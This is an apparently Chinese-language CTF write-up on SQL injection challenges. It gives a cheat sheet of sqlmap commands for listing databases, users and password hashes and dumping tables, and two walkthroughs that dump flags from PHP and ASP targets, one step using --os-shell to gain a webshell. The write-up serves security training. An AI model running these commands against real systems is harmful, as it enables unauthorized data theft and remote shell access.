CTF中的普通SQL注入題分析
在CTF比賽中一定會(huì)存在一道SQL注入題,SQL注入作為OWASP中排名第一的高危漏洞,作為網(wǎng)絡(luò)攻防對(duì)抗最熱門的技術(shù)知識(shí),在很多大型CTF比賽中都會(huì)出現(xiàn)考題,雖然形勢(shì)有所變化,但萬(wàn)變不離其宗,只要掌握了核心知識(shí),就能從容應(yīng)對(duì)。
一、SQL注入解題思路
存在SQL注入的題目,基本都會(huì)有參數(shù)傳入,比如index.php?id=1這類的,其主要思路如下:
1.認(rèn)真閱讀題目,一般來(lái)講CTF比賽都會(huì)或多或少給出一些提示。因此要從字里行間去體會(huì),這個(gè)需要經(jīng)驗(yàn)的記錄。
2.對(duì)目標(biāo)地址進(jìn)行漏洞掃描。可以通過(guò)AWVS等工具進(jìn)行漏洞掃描,如果存在SQL注入一般都能掃描到。不過(guò)使用掃描工具特別耗費(fèi)時(shí)間,在CTF比賽中時(shí)間很寶貴。
3.直接對(duì)目標(biāo)進(jìn)行手工測(cè)試。針對(duì)不同類型編程語(yǔ)言,進(jìn)行手工注冊(cè)測(cè)試,確認(rèn)存在漏洞后,可以使用sqlmap進(jìn)行快速利用。
4.使用sqlmap來(lái)進(jìn)行注入漏洞的測(cè)試及數(shù)據(jù)獲取。
二、SQL注入方法
1.使用havij注入工具進(jìn)行url地址注入測(cè)試
2.使用pangonlin注入攻擊進(jìn)行url地址注入測(cè)試
3.使用WebCruiser進(jìn)行掃描并進(jìn)行url注入測(cè)試
4.sqlmap注入常用命令
(1)列數(shù)據(jù)庫(kù)信息:--dbs
(2)web當(dāng)前使用的數(shù)據(jù)庫(kù)--current-db
(3)web數(shù)據(jù)庫(kù)使用賬戶 --current-user
(4)列出sqlserver所有用戶 --users
(5)數(shù)據(jù)庫(kù)賬戶與密碼 --passwords
(6)指定庫(kù)名列出所有表 -D database --tables
-D:指定數(shù)據(jù)庫(kù)名稱
(7)指定庫(kù)名表名列出所有字段 -D antian365 -T admin --columns
-T:指定要列出字段的表
(8)指定庫(kù)名表名字段dump出指定字段
-D secbang_com -T admin -C id,password ,username --dump
-D antian365 -T userb -C "email,Username,userpassword" --dump
可加雙引號(hào),也可不加雙引號(hào)。
(9)導(dǎo)出多少條數(shù)據(jù)
-D tourdata -T userb -C "email,Username,userpassword" --start 1 --stop 10 --dump
參數(shù):
--start:指定開(kāi)始的行
--stop:指定結(jié)束的行
此條命令的含義為:導(dǎo)出數(shù)據(jù)庫(kù)tourdata中的表userb中的字段(email,Username,userpassword)中的第1到第10行的數(shù)據(jù)內(nèi)容。
三、ctf實(shí)戰(zhàn)php sql注入
1.題目分析
目標(biāo)地址:http://106.75.114.94:9005/index.php?id=1,如圖1所示,提示flag在數(shù)據(jù)庫(kù)中,根據(jù)這個(gè)信息判斷,該題考查的為sql注入。
圖1題目分析
2.使用sqlmap進(jìn)行sql注入測(cè)試
(1)確認(rèn)sql注入漏洞
執(zhí)行命令:sqlmap.py -u http://106.75.114.94:9005/index.php?id=1,如圖2所示,sqlmap識(shí)別出get參數(shù)存在三種類型的sql注入,數(shù)據(jù)庫(kù)為MySQL,操作系統(tǒng)為L(zhǎng)inux。
圖2確認(rèn)sql注入漏洞
(2)排除系統(tǒng)數(shù)據(jù)庫(kù),獲取所有數(shù)據(jù)
執(zhí)行命令sqlmap.py -u http://106.75.114.94:9005/index.php?id=1 -a --exclude-sysdbs,獲取所有的數(shù)據(jù),除系統(tǒng)數(shù)據(jù)庫(kù)外,如圖3所示,該方法適合懶人。
圖3獲取所有數(shù)據(jù)
3.獲取flag
在sqlmap執(zhí)行完畢后,可以查看其數(shù)據(jù)庫(kù)中的內(nèi)容,如圖4所示,成功獲取其flag值:flag{b4d933ca-e1cc-43ef-80de-0749b0a2a8fe}。
圖4獲取flag值
4.總結(jié)
前面提及的方法是最簡(jiǎn)便,最省事的一種獲取方法,如果數(shù)據(jù)庫(kù)中數(shù)據(jù)太多,前面的方法就比較耗費(fèi)時(shí)間。常規(guī)解題思路為:
(1)sqlmap.py -u http://106.75.114.94:9005/index.php?id=1 --dbs --is-dba --current-user
(2)root賬號(hào)可以直接獲取webshell
sqlmap.py -u http://106.75.114.94:9005/index.php?id=1 --os-shell
(3)獲取數(shù)據(jù)庫(kù)表
sqlmap.py -u http://106.75.114.94:9005/index.php?id=1 -D sqli --tables
(4)看表列名
sqlmap.py -u http://106.75.114.94:9005/index.php?id=1 -D sqli -T info --columns
(5)導(dǎo)出數(shù)據(jù)內(nèi)容
sqlmap.py -u http://106.75.114.94:9005/index.php?id=1 -D sqli -T info --dump
四、ctf實(shí)戰(zhàn)asp sql注入
對(duì)于提供了參數(shù)的url地址來(lái)講,其sql注入相對(duì)簡(jiǎn)單,直接使用sqlmap就可以搞定,關(guān)鍵必須熟悉sqlmap的常用命令。在本題中給出的是asp編程腳本站點(diǎn),題目地址為:http://10.2.66.50:8133/show.asp?id=2。
1.漏洞點(diǎn)測(cè)試
執(zhí)行python sqlmap.py -u http://10.2.66.50:8133/show.asp?id=2,如圖5所示,sqlmap對(duì)注入點(diǎn)進(jìn)行漏洞測(cè)試。
圖5進(jìn)行漏洞測(cè)試
2.獲取數(shù)據(jù)庫(kù)名稱
執(zhí)行命令python sqlmap.py -u http://10.2.66.50:8133/show.asp?id=2 --current-db,如圖6所示,可以看到參數(shù)id存在三種類型的sql注入漏洞,其當(dāng)前數(shù)據(jù)庫(kù)名稱為“tourdata”。
圖6獲取數(shù)據(jù)庫(kù)名稱及漏洞類型
3.獲取表名
python sqlmap.py -u http://10.2.66.50:8133/show.asp?id=2 --current-db -D tourdata --tables,如圖7所示,可以看到數(shù)據(jù)庫(kù)類型為Microsoft SQL Server 2000,操作系統(tǒng)為Windows 2003 or XP,數(shù)據(jù)庫(kù)中共有四個(gè)表,其中有三個(gè)表為系統(tǒng)表,news為目標(biāo)表。
圖7獲取數(shù)據(jù)庫(kù)表
4.獲取數(shù)據(jù)內(nèi)容
執(zhí)行命令sqlmap.py -u http://10.2.66.50:8133/show.asp?id=2 --current-db -D tourdata -T news --columns來(lái)獲取列名,也可以只用sqlmap.py -u http://10.2.66.50:8133/show.asp?id=2 --current-db -D tourdata -T news --dump命令直接獲取數(shù)據(jù)庫(kù)表news中的所有內(nèi)容,如圖8所示,成功獲取flag值為:52c6f1d691661456b3f51d2760179209。
圖8獲取flag值